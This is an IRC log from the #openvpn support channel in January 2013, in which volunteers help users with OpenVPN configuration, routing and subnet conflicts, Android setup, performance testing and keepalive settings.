10:12 -!- Porkepix [~Porkepix@lns-bzn-29-82-248-243-164.adsl.proxad.net] has quit [Quit: Computer has gone to sleep.]
10:16 -!- staticsafe [~staticsaf@unaffiliated/staticsafe] has left #openvpn ["WeeChat 0.3.9.2"]
10:17 -!- staticsafe [~staticsaf@unaffiliated/staticsafe] has joined #openvpn
10:17 -!- staticsafe [~staticsaf@unaffiliated/staticsafe] has left #openvpn []
10:17 < dvl-_> OK, heading over to EFNET for some ports work...
10:17 -!- dvl-_ [~dan@pool-71-162-210-170.phlapa.fios.verizon.net] has quit [Quit: Killed (einride (Requested by panasync))]
10:21 -!- Porkepix [~Porkepix@lns-bzn-29-82-248-243-164.adsl.proxad.net] has joined #openvpn
10:21 -!- master_of_master [~master_of@p57B556D3.dip.t-dialin.net] has quit [Ping timeout: 252 seconds]
10:23 -!- master_of_master [~master_of@p57B54F45.dip.t-dialin.net] has joined #openvpn
10:27 -!- Porkepix [~Porkepix@lns-bzn-29-82-248-243-164.adsl.proxad.net] has quit [Ping timeout: 252 seconds]
10:36 -!- Porkepix [~Porkepix@lns-bzn-29-82-248-243-164.adsl.proxad.net] has joined #openvpn
10:47 -!- Cpt-Oblivious [~Cpt-Obliv@a202101.upc-a.chello.nl] has joined #openvpn
11:03 -!- raidz_away is now known as raidz
11:12 -!- nikoc31337 [~maniac@adsl-26.176.58.244.tellas.gr] has quit []
11:15 -!- ade_b [~Ade@koln-5d817780.pool.mediaWays.net] has joined #openvpn
11:15 -!- ade_b [~Ade@koln-5d817780.pool.mediaWays.net] has quit [Changing host]
11:15 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
11:19 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
11:21 -!- Mimiko [~Mimiko@89.28.88.177] has joined #openvpn
11:24 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn
11:24 -!- mode/#openvpn [+o krzee] by ChanServ
11:35 -!- Rolybrau [noident@unaffiliated/rolybrau] has joined #openvpn
11:43 -!- Rolybrau [noident@unaffiliated/rolybrau] has quit [Quit: Rolybrau]
11:57 -!- naquad [~naquad@82.146.43.183] has left #openvpn ["Ухожу я от вас"]
12:00 -!- Azrael808 [~peter@cpc17-walt12-2-0-cust657.13-2.cable.virginmedia.com] has joined #openvpn
12:10 -!- torkelatgenet [~torkelatg@38.84-234-168.customer.lyse.net] has joined #openvpn
12:11 < torkelatgenet> Hello, i am trying to configure an openvpn client on my android, how should i do that?
12:11 < torkelatgenet> should i post my server config?
12:15 <@krzee> !android
12:15 <@vpnHelper> "android" is (#1) an open source OpenVPN client for ICS is available in Google Play, look for OpenVPN for Android. FAQ is here: http://code.google.com/p/ics-openvpn/wiki/FAQ or (#2) If running cyanogenmod, openvpn and busybox are already installed for you! or (#3) If you do not have cyanogenmod or ICS, but your device is rooted, you can use android-openvpn-installer and openvpn-settings from the
12:15 <@vpnHelper> market
12:25 < torkelatgenet> !
12:29 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 272 seconds]
12:31 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
12:58 -!- kyrix [~ashley@97-113-115-104.tukw.qwest.net] has joined #openvpn
13:20 <@dazo> torkelatgenet: if you already got a working config for a computer ... you basically just need to dump the config and additional files to the SD storage and can import it from there
13:20 <@dazo> iirc
13:20 <@krzee> ^^ yep
13:42 -!- Mimiko [~Mimiko@89.28.88.177] has quit []
13:43 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 244 seconds]
13:49 -!- k1ng [~k1ng@unaffiliated/k1ng] has quit [Read error: Connection reset by peer]
13:50 -!- k1ng [~k1ng@unaffiliated/k1ng] has joined #openvpn
14:11 < videl> Do you guys happen to have a documentation or a lesson on TCP/IP Routing ? I found one on Google, but wondered if you guys use a special one
14:11 <+pekster> !tcpip
14:11 <@vpnHelper> "tcpip" is http://www.redbooks.ibm.com/redbooks/pdfs/gg243376.pdf See chapter 3.1 for useful basic TCP/IP networking knowledge you should probably know
14:11 < videl> Ah, thanks
14:17 -!- brute11k [~brute11k@89.249.230.141] has quit [Ping timeout: 260 seconds]
14:21 -!- raidz is now known as raidz_away
14:23 -!- raidz_away is now known as raidz
14:38 -!- i7c [~i7c@212.47.190.111] has joined #openvpn
14:38 < i7c> what to use, easy-rsa 1.0 or 2.0?
14:42 <@krzee> 2.0
14:42 <@krzee> !easy-rsa
14:42 <@vpnHelper> "easy-rsa" is (#1) easy-rsa is a certificate generation utility. or (#2) Download here: https://github.com/OpenVPN/easy-rsa/downloads or (#3) Download easy-rsa from git hub at https://github.com/OpenVPN/easy-rsa
14:43 < i7c> thx
14:48 -!- Porkepix [~Porkepix@lns-bzn-29-82-248-243-164.adsl.proxad.net] has quit [Ping timeout: 248 seconds]
14:49 -!- Porkepix [~Porkepix@lns-bzn-29-82-248-243-164.adsl.proxad.net] has joined #openvpn
14:54 <@ecrist> 2.0
14:54 <@ecrist> or, ssl-admin
14:54 <@ecrist> new version released today
14:54 -!- d1gital [~d1gital@fsf/member/d1gital] has joined #openvpn
14:55 < d1gital> what do the W's in the output mean at verb 5?
14:57 <@dazo> d1gital: that a write operation is happening on either the tun/tap device or the TCP/UDP socket ... All 'w' are the "other" socket (TCP/UDP or tun/tap) ... but I always forget and mix which is which
14:57 <@dazo> d1gital: it's the same with R/r too
14:58 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 255 seconds]
15:00 -!- dazo is now known as dazo_afk
15:00 < d1gital> dazo: I see.
15:01 < d1gital> Only my client reports "Initialization sequence completed", and my server does not.
15:01 < d1gital> after that, the client says "Invalid argument (code=22)", and the server just prints some W's
15:11 <@plaisthos> d1gital: educated guess,dev tun vs dev tap
15:15 -!- jackbrown [~se@93-44-76-167.ip96.fastwebnet.it] has joined #openvpn
15:18 -!- ade_b [~Ade@koln-5d817780.pool.mediaWays.net] has joined #openvpn
15:18 -!- ade_b [~Ade@koln-5d817780.pool.mediaWays.net] has quit [Changing host]
15:18 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
15:30 < i7c> how to prevent openvpn from doing that double-ip thingy? my clients all have an ip and a "destination"... i think that was something necessary on windows
15:30 < i7c> i dont want it tho
15:30 < ngharo> !topology
15:30 <@vpnHelper> "topology" is (#1) it is possible to avoid the !/30 behavior if you use 2.1+ with the option: topology subnet This will end up being default in later versions. or (#2) Clients will receive addresses ending in .2, .3, .4, etc, instead of being divided into 2-host subnets. or (#3) See http://osdir.com/ml/network.openvpn.devel/2005-09/msg00020.html for more history on this.
15:31 < ngharo> so you want 'topology subnet'
15:31 < ngharo> instead of the /30
15:31 < ngharo> !/30
15:31 <@vpnHelper> "/30" is (#1) Default behaviour assigns a /30 subnet(4 addresses) to each peer. See http://goo.gl/6vemm for background or (#2) you can avoid this behavior by reading !topology or (#3) by default, first client is .6, then .10 .14 .18 etc or (#4) use openvpn --show-valid-subnets to see the subnets you can use in net30 or (#5) tl;dr Windows sucks, use --topology subnet in your server.conf
15:31 < i7c> will read, thanks
15:34 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit []
15:36 -!- MeanderingCode [~Meanderin@199.254.238.250] has joined #openvpn
15:49 < i7c> is there an option to "push nothing" to the client? so that i can freely configure my routing table manually?
15:49 <+rob0> uh ... don't use "push" on the server side if you want to push nothing
15:50 <+rob0> you might also be interested in:
15:50 <+rob0> --route_nopull
15:51 < i7c> might be what i'm looking for. i dont use push at all but it still adds the default routes for the tun device
15:51 < i7c> which is no problem but i like it clean ;)
15:56 -!- krzee [nobody@hemp.ircpimps.org] has joined #openvpn
15:56 -!- krzee [nobody@hemp.ircpimps.org] has quit [Changing host]
15:56 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn
15:56 -!- mode/#openvpn [+o krzee] by ChanServ
16:08 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer]
16:09 <+EugeneKay> ecrist mattock - who is paying for the shirts, anyway? Just donation slush fund?
16:20 -!- kyrix [~ashley@97-113-115-104.tukw.qwest.net] has quit [Quit: Ex-Chat]
16:21 -!- Azrael808 [~peter@cpc17-walt12-2-0-cust657.13-2.cable.virginmedia.com] has quit [Quit: Ex-Chat]
16:21 -!- bsdgeek [~bsdgeek@91-66-20-106-dynip.superkabel.de] has joined #openvpn
16:29 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
16:39 -!- kyrix [~ashley@97-113-115-104.tukw.qwest.net] has joined #openvpn
16:54 -!- kyrix [~ashley@97-113-115-104.tukw.qwest.net] has quit [Quit: Ex-Chat]
17:12 -!- torkelatgenet [~torkelatg@38.84-234-168.customer.lyse.net] has quit [Ping timeout: 272 seconds]
17:22 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
17:22 -!- mode/#openvpn [+v s7r] by ChanServ
17:30 -!- d1gital [~d1gital@fsf/member/d1gital] has quit [Quit: Lost terminal]
17:31 -!- MeanderingCode [~Meanderin@199.254.238.250] has quit [Ping timeout: 276 seconds]
17:38 -!- liviusfuscus [~liviusfus@79.118.217.119] has joined #openvpn
17:39 -!- jackbrown [~se@93-44-76-167.ip96.fastwebnet.it] has quit [Ping timeout: 264 seconds]
17:52 -!- liviusfuscus [~liviusfus@79.118.217.119] has quit [Ping timeout: 276 seconds]
17:52 -!- chrisb [~chrisb@li482-205.members.linode.com] has quit [Ping timeout: 264 seconds]
17:58 -!- ade_b [~Ade@redhat/adeb] has quit [Quit: Too sexy for his shirt]
18:00 -!- MeanderingCode [~Meanderin@c-68-84-147-239.hsd1.nm.comcast.net] has joined #openvpn
18:09 -!- MeanderingCode_ [~Meanderin@97-123-172-69.albq.qwest.net] has joined #openvpn
18:09 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Remote host closed the connection]
18:10 -!- MeanderingCode [~Meanderin@c-68-84-147-239.hsd1.nm.comcast.net] has quit [Ping timeout: 240 seconds]
18:24 -!- s7r [~s7r@openvpn/user/s7r] has left #openvpn []
18:28 -!- chrisb [~chrisb@li482-205.members.linode.com] has joined #openvpn
18:36 -!- HyperGlide [~HyperGlid@222.211.121.189] has joined #openvpn
18:39 -!- Denial [Denial@92.239.45.77] has quit []
18:40 -!- kyrix [~ashley@97-113-115-104.tukw.qwest.net] has joined #openvpn
18:41 -!- HyperGlide [~HyperGlid@222.211.121.189] has quit [Ping timeout: 252 seconds]
18:45 -!- Yawa is now known as F^4
19:01 -!- MeanderingCode_ [~Meanderin@97-123-172-69.albq.qwest.net] has quit [Ping timeout: 276 seconds]
19:05 -!- HyperGlide [~HyperGlid@182.151.60.13] has joined #openvpn
19:13 -!- chrisb [~chrisb@li482-205.members.linode.com] has quit [Ping timeout: 252 seconds]
19:22 -!- kyrix [~ashley@97-113-115-104.tukw.qwest.net] has quit [Ping timeout: 276 seconds]
19:29 -!- chrisb [~chrisb@c-71-224-139-141.hsd1.nj.comcast.net] has joined #openvpn
19:34 -!- chrisb [~chrisb@c-71-224-139-141.hsd1.nj.comcast.net] has quit [Ping timeout: 260 seconds]
19:50 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
19:53 -!- kyrix [~ashley@97-113-115-104.tukw.qwest.net] has joined #openvpn
20:13 -!- Mcloven [~Mcloven@ppp203-122-218-215.static.internode.on.net] has quit [Ping timeout: 248 seconds]
20:23 -!- MeanderingCode [~Meanderin@75-173-14-154.albq.qwest.net] has joined #openvpn
20:27 -!- chrisb [~chrisb@li482-205.members.linode.com] has joined #openvpn
20:38 -!- plut0 [~cory@pool-96-236-43-69.albyny.fios.verizon.net] has joined #openvpn
20:39 < plut0> this the correct channel for adito support?
20:43 -!- kloeri_ [~kloeri@freenode/staff/exherbo.kloeri] has joined #openvpn
20:43 -!- videl_ [~pi@fac34-3-82-231-26-27.fbx.proxad.net] has joined #openvpn
20:44 -!- Netsplit *.net <-> *.split quits: kloeri, cm_, chrisb, Saviq, videl
20:47 -!- chrisb [~chrisb@li482-205.members.linode.com] has joined #openvpn
20:48 -!- MeanderingCode [~Meanderin@75-173-14-154.albq.qwest.net] has quit [Ping timeout: 252 seconds]
20:50 < plut0> anyone?
20:55 < chrisb> yes?
20:56 < plut0> this the correct channel for adito support?
20:57 < chrisb> plut0: ? openvpn
21:00 < plut0> this differ from openvpn-als?
21:01 <+EugeneKay> !as
21:01 <@vpnHelper> "as" is please go to #OpenVPN-AS for help with Access-Server
21:01 <+rob0> openvpn-als? is that Lou Gehrig's openvpn?
21:02 < plut0> http://sourceforge.net/projects/openvpn-als/
21:02 <@vpnHelper> Title: OpenVPN ALS | Free software downloads at SourceForge.net (at sourceforge.net)
21:03 < plut0> am i in the wrong place?
21:08 <+rob0> If mattock is the same one as from OpenVPN ALS, you're probably in the right place.
21:08 <+rob0> but I know nothing about OpenVPN ALS
21:08 < plut0> mattock?
21:14 -!- k1ng [~k1ng@unaffiliated/k1ng] has quit [Read error: Connection reset by peer]
21:20 -!- Saviq [~Saviq@sawicz.net] has joined #openvpn
21:30 -!- k1ng [~k1ng@unaffiliated/k1ng] has joined #openvpn
21:48 -!- plut0 [~cory@pool-96-236-43-69.albyny.fios.verizon.net] has left #openvpn []
22:26 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn
22:26 -!- mode/#openvpn [+o krzee] by ChanServ
22:30 -!- cosmicgate- [~cosmicgat@you.think.japan.is.cool.well.cosmicgate.is.stuck.injp.net] has joined #openvpn
22:33 <+pekster> i7c: You might also look at --route-noexec which doesn't add any routes and passes them as env-vars to a script defined by --route-up. Using subnet topology you need the local subnet as a route to simply reach the peer or other clients on the network
23:21 -!- MeanderingCode [~Meanderin@75-173-14-154.albq.qwest.net] has joined #openvpn
23:31 -!- amir_ [~amir@unaffiliated/amir] has quit [Ping timeout: 246 seconds]
23:34 -!- amir_ [~amir@unaffiliated/amir] has joined #openvpn
23:39 -!- amir_ [~amir@unaffiliated/amir] has quit [Ping timeout: 248 seconds]
--- Day changed Fri Jan 04 2013
00:08 -!- k1ng [~k1ng@unaffiliated/k1ng] has quit [Read error: Connection reset by peer]
00:10 -!- k1ng [~k1ng@unaffiliated/k1ng] has joined #openvpn
00:14 -!- k1ng [~k1ng@unaffiliated/k1ng] has quit [Read error: Connection reset by peer]
00:20 -!- k1ng [~k1ng@unaffiliated/k1ng] has joined #openvpn
00:29 -!- k1ng [~k1ng@unaffiliated/k1ng] has quit [Ping timeout: 240 seconds]
00:31 -!- jave [~jave@h-235-102.a149.priv.bahnhof.se] has quit [Ping timeout: 265 seconds]
00:32 -!- cosmicgate- [~cosmicgat@you.think.japan.is.cool.well.cosmicgate.is.stuck.injp.net] has quit [Ping timeout: 276 seconds]
00:33 -!- chrisb [~chrisb@li482-205.members.linode.com] has quit [Remote host closed the connection]
00:33 -!- k1ng [~k1ng@unaffiliated/k1ng] has joined #openvpn
00:34 -!- jave [~jave@h-235-102.a149.priv.bahnhof.se] has joined #openvpn
00:45 -!- cosmicgate- [~cosmicgat@you.think.japan.is.cool.well.cosmicgate.is.stuck.injp.net] has joined #openvpn
00:58 -!- fluter [~fluter@fedora/fluter] has joined #openvpn
01:06 -!- cosmicgate- [~cosmicgat@you.think.japan.is.cool.well.cosmicgate.is.stuck.injp.net] has quit [Ping timeout: 252 seconds]
01:12 -!- amir [~amir@unaffiliated/amir] has joined #openvpn
01:22 -!- jackbrown [~se@93-44-76-167.ip96.fastwebnet.it] has joined #openvpn
01:23 -!- jackbrown [~se@93-44-76-167.ip96.fastwebnet.it] has quit [Read error: Connection reset by peer]
01:37 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 272 seconds]
01:39 -!- Devastator [~devas@186.214.111.210] has joined #openvpn
01:51 -!- Devastator [~devas@186.214.111.210] has quit [Changing host]
01:51 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
02:01 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: Leaving]
02:33 -!- syzzer [~steffan@50709F7C.static.ziggozakelijk.nl] has joined #openvpn
02:34 -!- syzzer [~steffan@50709F7C.static.ziggozakelijk.nl] has quit [Quit: leaving]
02:38 -!- fluter [~fluter@fedora/fluter] has quit [Quit: Leaving]
02:50 -!- mattock is now known as mattock_afk
03:01 -!- mattock_afk is now known as mattock
03:05 -!- syzzer [~steffan@50709F7C.static.ziggozakelijk.nl] has joined #openvpn
03:05 -!- thumbs [1000@unaffiliated/thumbs] has quit [Ping timeout: 244 seconds]
03:05 -!- n2deep [n2deep@odin.sdf-eu.org] has quit [Ping timeout: 244 seconds]
03:05 -!- kirin` [telex@gateway/shell/anapnea.net/x-vxqssktuziclmllz] has quit [Ping timeout: 244 seconds]
03:06 -!- kisom [~kisom@c-75dce155.648-1-64736c11.cust.bredbandsbolaget.se] has quit [Ping timeout: 244 seconds]
03:06 -!- n2deep [n2deep@odin.sdf-eu.org] has joined #openvpn
03:06 -!- thumbs [1000@unaffiliated/thumbs] has joined #openvpn
03:06 -!- kirin` [telex@gateway/shell/anapnea.net/x-wmccxjlvwnkhvera] has joined #openvpn
03:06 -!- kisom [~kisom@c-75dce155.648-1-64736c11.cust.bredbandsbolaget.se] has joined #openvpn
03:10 -!- syzzer [~steffan@50709F7C.static.ziggozakelijk.nl] has quit [Quit: leaving]
03:11 -!- kobolduk [~kobolduk@office.prolocation.net] has joined #openvpn
03:22 -!- brute11k [~brute11k@89.249.235.177] has joined #openvpn
03:45 -!- ag4ve [~ag4ve@96.26.67.194] has quit [Ping timeout: 245 seconds]
03:54 -!- m0sphere` [~m0sphere@S01060018e78c9cff.cg.shawcable.net] has quit [Read error: Connection reset by peer]
03:55 -!- m0sphere [m0sphere@S01060018e78c9cff.cg.shawcable.net] has joined #openvpn
03:55 -!- MeanderingCode [~Meanderin@75-173-14-154.albq.qwest.net] has quit [Read error: Operation timed out]
03:58 -!- ag4ve [~ag4ve@96.26.67.194] has joined #openvpn
03:59 -!- eN_Joy [~eN_Joy@jindan.chem.ou.edu] has quit [Ping timeout: 276 seconds]
04:00 -!- eN_Joy [~eN_Joy@jindan.chem.ou.edu] has joined #openvpn
04:07 -!- ag4ve [~ag4ve@96.26.67.194] has quit [Ping timeout: 245 seconds]
04:18 -!- kloeri_ is now known as kloeri
04:19 -!- ag4ve [~ag4ve@96.26.67.194] has joined #openvpn
04:33 -!- Saviq [~Saviq@sawicz.net] has quit [Changing host]
04:33 -!- Saviq [~Saviq@canonical/saviq] has joined #openvpn
04:40 -!- JPeterson [~JPeterson@s213-103-211-58.cust.tele2.se] has quit [Read error: Connection timed out]
04:58 -!- HyperGlide [~HyperGlid@182.151.60.13] has quit [Remote host closed the connection]
04:58 -!- ade_b [~Ade@koln-4d0b0cf7.pool.mediaWays.net] has joined #openvpn
04:58 -!- ade_b [~Ade@koln-4d0b0cf7.pool.mediaWays.net] has quit [Changing host]
04:58 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
05:04 -!- JPeterson [~JPeterson@s213-103-211-58.cust.tele2.se] has joined #openvpn
05:12 -!- pie___ [~pie_@84-236-109-204.pool.digikabel.hu] has joined #openvpn
05:12 -!- pie___ [~pie_@84-236-109-204.pool.digikabel.hu] has quit [Changing host]
05:12 -!- pie___ [~pie_@unaffiliated/pie-/x-0787662] has joined #openvpn
05:16 -!- pie__ [~pie_@unaffiliated/pie-/x-0787662] has quit [Ping timeout: 264 seconds]
05:24 -!- dazo_afk is now known as dazo
05:31 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
05:43 -!- bsdgeek [~bsdgeek@91-66-20-106-dynip.superkabel.de] has quit [Quit: ByeBye]
05:49 < Cpt-Oblivious> I got 2 networks. Both 192.168.1.x, on 1 of them I run OpenVPN, and it has 10.248.12.1 as gateway ip and hands out 10.248.12.x ip addresses. How would i get other PC's on the 192.168.1.x network of the server to be accessible for the clients that get dealt the 10.248.12.x ip addresses? I tried giving the pc's on the server side lan another IP address like 10.248.12.50 for example. But that
05:49 < Cpt-Oblivious> doesn't work. What route or something should i push to the clients / place in my server config?
06:00 <@plaisthos> You should avoid some subnet
06:01 <@plaisthos> for 2.3 you can look into client-nat
06:01 <@plaisthos> !samenetwork
06:03 <@plaisthos> !samesubnet
06:03 <@vpnHelper> "samesubnet" is (#1) clients can not connect to a server pushing its lan if on the same subnet. you can only reach your subnet on layer2 or through your gateway, when you create a route for it you will try to reach your gateway over the vpn which dies because you cant reach your gateway or (#2) you can use --client-nat if on 2.3 to work around changing the subnet, but you should still just change
06:03 <@vpnHelper> the subnet
06:05 < Cpt-Oblivious> Hmm
06:06 <@plaisthos> otherwise you need nat/routing rules which in most cases give more headaches then renumbering
06:06 <@plaisthos> especially since that often leads to subtile errors
06:07 < Cpt-Oblivious> I currently also have a RAS pptp vpn running. And with that I just assigned all servers in the 192.168.1.x LAN also a 10.248.11.x ip address
06:07 < Cpt-Oblivious> And that's pingable
06:07 < Cpt-Oblivious> but a friend configured that mostly, so i'm not sure if it's natting. Let's see.
06:08 < Cpt-Oblivious> Can't you just have OpenVPN act as a router for 10.248.12.x?
06:08 <@plaisthos> sure
06:08 < Cpt-Oblivious> And that if other pc's in the 192.168.1.x subnet want to connect, you can just use 10.248.12.1 as gateway for them and 10.248.something as their ip address?
06:09 <@plaisthos> but openvpn does not do the routing the computer on which openvpn runs has to do the routing
06:09 < Cpt-Oblivious> like assign that as second static ip address?
06:10 < Cpt-Oblivious> Hmmm
06:12 < Cpt-Oblivious> Can't I add like a rule on my router, that if anything in the subnet wants to reach a 10.248.12.x address, that they have to go to 10.248.12.1 which is the OpenVPN server?
06:12 -!- Denial [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has joined #openvpn
06:12 < Cpt-Oblivious> And doesn't the OpenVPN server then forward it to it's clients?
06:13 <@plaisthos> yes sure
06:13 < Cpt-Oblivious> So if I'd add a rule that says 10.248.12.x -> 10.248.12.1
06:13 < Cpt-Oblivious> then i'd work?
06:13 <@plaisthos> openvpn forward to it clients whatever enters the tun device
06:14 <@plaisthos> if you give out 10.248.12.0/24 to your clients openvpn expects all of these ips to be clients
06:16 < Cpt-Oblivious> Ooh i didn't, i gave like 30 ip's to clients
06:19 <@plaisthos> You have an OpenVPN network like 10.248.12.0/27 and a normal network like 10.248.12.0/24 and are wondering why it does not work?
06:20 < Cpt-Oblivious> Uhh
06:20 < Cpt-Oblivious> I got a 192.168.1.x network
06:20 < Cpt-Oblivious> On which all servers connect to get internet
06:20 < Cpt-Oblivious> 1 of those servers, 192.168.1.146 is the OpenVPN server
06:20 < Cpt-Oblivious> The OpenVPN server has 10.248.12.1 as IP address
06:21 < Cpt-Oblivious> And gives clients IP addresses like 10.248.12.6 or 10.248.12.10
06:21 < Cpt-Oblivious> other servers on that 192.168.1.x network, like 192.168.1.141, i tried giving them also an address like 10.248.12.50, and I want clients to be able to reach that.
06:22 <@plaisthos> yeah, like I said :)
06:22 <@plaisthos> you have two different 10.248.12.0 networks
06:22 <@plaisthos> one of openvpn and one in your lan
06:22 < Cpt-Oblivious> I guess?
06:23 <@plaisthos> You should read more about routing, but for starters change one of the networks and a route for other network on both sides
06:24 < Cpt-Oblivious> I guess the part that got me confused is that I do like the exact same thing with RAS. I give clients 10.248.11.2 addresses for example, server is 10.248.11.1, and I also added 10.248.11.50 addresses as second IP on other servers. And that works
06:26 <@plaisthos> yes ras works different
06:26 <@plaisthos> ras is like a mix of tun and tap iirc
06:26 -!- mape2k-mobil [~mape2k-3@i59F78894.versanet.de] has joined #openvpn
06:26 < Cpt-Oblivious> Yea looks like that
06:33 < Cpt-Oblivious> Thanks for your advice though. I think i'm going to change the subnet serverside first. Sounds like the least painfull solution.
06:36 -!- amir [~amir@unaffiliated/amir] has quit [Ping timeout: 245 seconds]
06:48 -!- mape2k-mobil [~mape2k-3@i59F78894.versanet.de] has quit [Quit: Leaving]
06:48 -!- amir [~amir@unaffiliated/amir] has joined #openvpn
06:59 -!- amir [~amir@unaffiliated/amir] has quit [Ping timeout: 252 seconds]
07:00 -!- amir [~amir@unaffiliated/amir] has joined #openvpn
07:01 -!- chrisb [~chrisb@li482-205.members.linode.com] has joined #openvpn
07:06 -!- amir [~amir@unaffiliated/amir] has quit [Ping timeout: 264 seconds]
07:07 -!- amir [~amir@unaffiliated/amir] has joined #openvpn
08:04 < i7c> how come my openvpn has such a bad performance compared to a ssh tunnel? it happens quite some time that the latency goes up (i open a web page and it takes like 20 seconds until i get response) also speedtests are worse.
08:04 < i7c> i use udp and no compression.
08:06 < i7c> also i noticed the server has a very high cpu usage (~60%) while the client has like 2%... ok different CPUs but still
08:12 <@dazo> i7c: depends on firewalling, routing, DNS, and if your ISPs on both server and client side have good performance over UDP ... basically your complete configuration setup .... for me VPN and SSH tunnels does not have any difference at all
08:13 < i7c> dazo: so could it even be that tcp has better performance?
08:15 <@dazo> i7c: in some cases, some ISPs really cripple UDP traffic
08:16 < i7c> oh ok. i will test this. also i could really need some tools for testing my servers network performance
08:16 <@dazo> i7c: iperf is pretty decent for that
08:16 < i7c> thanks! i'll check it out
08:16 <@dazo> it can test udp and tcp ... and you can then test it outside and inside the tunnel ... to see if it's your connection or vpn setup
08:17 <@dazo> which is troubling you
08:17  * dazo heads out for a while
08:17 < i7c> :)
08:17 < i7c> awesome
08:17 < i7c> thanks
08:17 < i7c> till then
08:33 -!- kobolduk [~kobolduk@office.prolocation.net] has quit [Quit: ["Textual IRC Client: www.textualapp.com"]]
08:44 < i7c> okay so my performance in via openvpn is way worse, but udp is still better... what else could i tweak?
08:49 -!- Porkepix [~Porkepix@lns-bzn-29-82-248-243-164.adsl.proxad.net] has quit [Ping timeout: 252 seconds]
08:51 -!- Porkepix [~Porkepix@83.159.5.235] has joined #openvpn
08:59 -!- brute11k [~brute11k@89.249.235.177] has quit [Read error: Connection reset by peer]
09:08 -!- ExxKA [ExxKA@nat/google/x-yeotbtxjhaaupbng] has joined #openvpn
09:08 -!- cpm [~Chip@216.169.175.102] has joined #openvpn
09:08 -!- cpm [~Chip@216.169.175.102] has quit [Changing host]
09:08 -!- cpm [~Chip@pdpc/supporter/active/cpm] has joined #openvpn
09:09 < ExxKA> Hey Guys. I have a problem where my VPN connection is dropped after about 1 hour. I am using TunnelBlick. I know you are not a tunnelblick support channel but I thought you may have an idea?
09:10 <@ecrist> what's the error
09:16 -!- brute11k [~brute11k@89.249.235.177] has joined #openvpn
09:20 -!- cpm [~Chip@pdpc/supporter/active/cpm] has quit [Ping timeout: 248 seconds]
09:24 < ExxKA> ecrist, there is no error, other than traffic routed through the vpn never makes it (after the 1 hour)
09:24 < ExxKA> The connect seems to be active, but in practice it is not
09:25 < ExxKA> I have been thinking that maybe it is a timeout setting on the dns settings or routes used?
09:25 < ExxKA> Or maybe a parameter server side? To be honest I do not use the routes very often as they only lead to my git repository
09:26 < ExxKA> So it may be that it's a timeout because I have not used the connection. I would just think that the connection was still kept alive?
09:28 <@ecrist> ExxKA: what do your openvpn logs indicate?  If you're using UDP for the VPN, you might be hitting a UDP state timeout on a router/firewall (yes, I know, UDP is stateless)
09:28 <@ecrist> do you have a keepalive in the openvpn configuration?
09:29 < ExxKA> Good question. Do you know where the logs reside?
09:29 <@ecrist> !logs
09:29 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
09:29 < ExxKA> !logfile
09:29 <@vpnHelper> "logfile" is (#1) openvpn will log to syslog if started in daemon mode. You can manually specify a logfile with: log /path/to/logfile or (#2) verb 3 is good for everyday usage, verb 5 for debugging or (#3) see --daemon --log and --verb in the manual (!man) for more info
09:29 < ExxKA> Hmm ok
09:30 < ExxKA> No I have no keep alive setting
09:30 < ExxKA> That may be it!
09:32 < ExxKA> Nope.
09:32 < ExxKA> It seems that by default keep alive is forever
09:32 < ExxKA> or --inactive 0 :)
09:33 <@ecrist> so, you need to add a keepalive
09:33 <@ecrist> usually --keepalive 5 10 or so is more than sufficient
09:33 <@ecrist> or even 10 60
09:33 < ExxKA> can I add it to any of the lines in my configuration file?
09:34 <@ecrist> it's a new line
09:34 < ExxKA> I suppose it will just be "keepalive 10 60" on a line by itself?
09:34 <@ecrist> yup
09:34 < ExxKA> Thanks
09:34 < ExxKA> I will give it a go :)
09:37 <@dazo> i7c: You might learn a few tricks here ...  https://community.openvpn.net/openvpn/wiki/Gigabit_Networks_Linux
09:37 <@vpnHelper> Title: Gigabit_Networks_Linux – OpenVPN Community (at community.openvpn.net)
10:21 -!- master_of_master [~master_of@p57B54F45.dip.t-dialin.net] has quit [Ping timeout: 255 seconds]
10:23 -!- master_of_master [~master_of@p57B52EA2.dip.t-dialin.net] has joined #openvpn
10:30 < kisom> Made my computers lock their screens when OpenVPN disconnects
10:31 <+hazardous> o_O
10:31 < kisom> It's quite nice in fact. Imagine if someone stole the machine.
10:31 < kisom> Then they wouldn't have access to my files any more.
10:33 <@ecrist> all because of a screen lock
10:34 <+hazardous> yolo
10:46 < kisom> ecrist: And full disk encryption.
11:12 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn
11:12 -!- mode/#openvpn [+o krzee] by ChanServ
11:32 <@plaisthos> kisom: does your notebook have pcexpress card?
11:32 <@plaisthos> or thunderbolt?
